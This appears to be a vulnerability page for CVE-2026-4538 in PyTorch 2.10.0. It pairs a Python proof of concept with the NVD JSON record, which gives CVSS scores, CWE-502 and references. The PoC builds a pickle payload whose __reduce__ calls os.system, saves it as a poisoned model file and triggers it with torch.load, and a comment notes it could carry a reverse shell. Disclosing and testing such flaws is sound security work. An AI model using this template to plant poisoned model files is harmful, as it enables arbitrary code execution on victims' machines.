CVE-2026-4538

import pickle import os import torch # PoC for CVE-2026-4538: PyTorch Unsafe Deserialization # Define a malicious class that executes a command when deserialized class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file as proof) # In a real attack, this could be a reverse shell return (os.system, ('echo "CVE-2026-4538 Exploited" > /tmp/pwned.txt',)) # Create the malicious object malicious_data = MaliciousPayload() # Save the object to a file (simulating a poisoned model) print("[*] Generating malicious model file: exploit_model.pt") with open("exploit_model.pt", "wb") as f: pickle.dump(malicious_data, f) print("[+] File created. Victim loading this file will trigger the payload.") # Simulation of victim loading the model print("[*] Victim executing: torch.load('exploit_model.pt')") try: # torch.load internally uses pickle and triggers __reduce__ torch.load("exploit_model.pt") print("[-] Exploit executed successfully.") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-4538", "sourceIdentifier": "[email protected]", "published": "2026-03-22T05:16:20.273", "lastModified": "2026-04-29T22:12:18.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in PyTorch 2.10.0. The affected element is an unknown function of the component pt2 Loading Handler. The manipulation leads to deserialization. The attack can only be performed from a local environment. The exploit is publicly available and might be used. The project was informed of the problem early through a pull request but has not reacted yet."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en PyTorch 2.10.0. El elemento afectado es una función desconocida del componente pt2 Loading Gestor. La manipulación conduce a deserialización. El ataque solo puede realizarse desde un entorno local. El exploit está disponible públicamente y podría ser utilizado. El proyecto fue informado del problema tempranamente a través de una pull request pero aún no ha reaccionado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:pytorch:2.10.0:*:*:*:*:python:*:*", "matchCriteriaId": "5DBDBCB7-30F9-424D-B971-9C7A5659952B"}]}]}], "references": [{"url": "https://github.com/pytorch/pytorch/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pytorch/pytorch/pull/176791", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://vuldb.com/?ctiid.352326", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.352326", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.774681", ... 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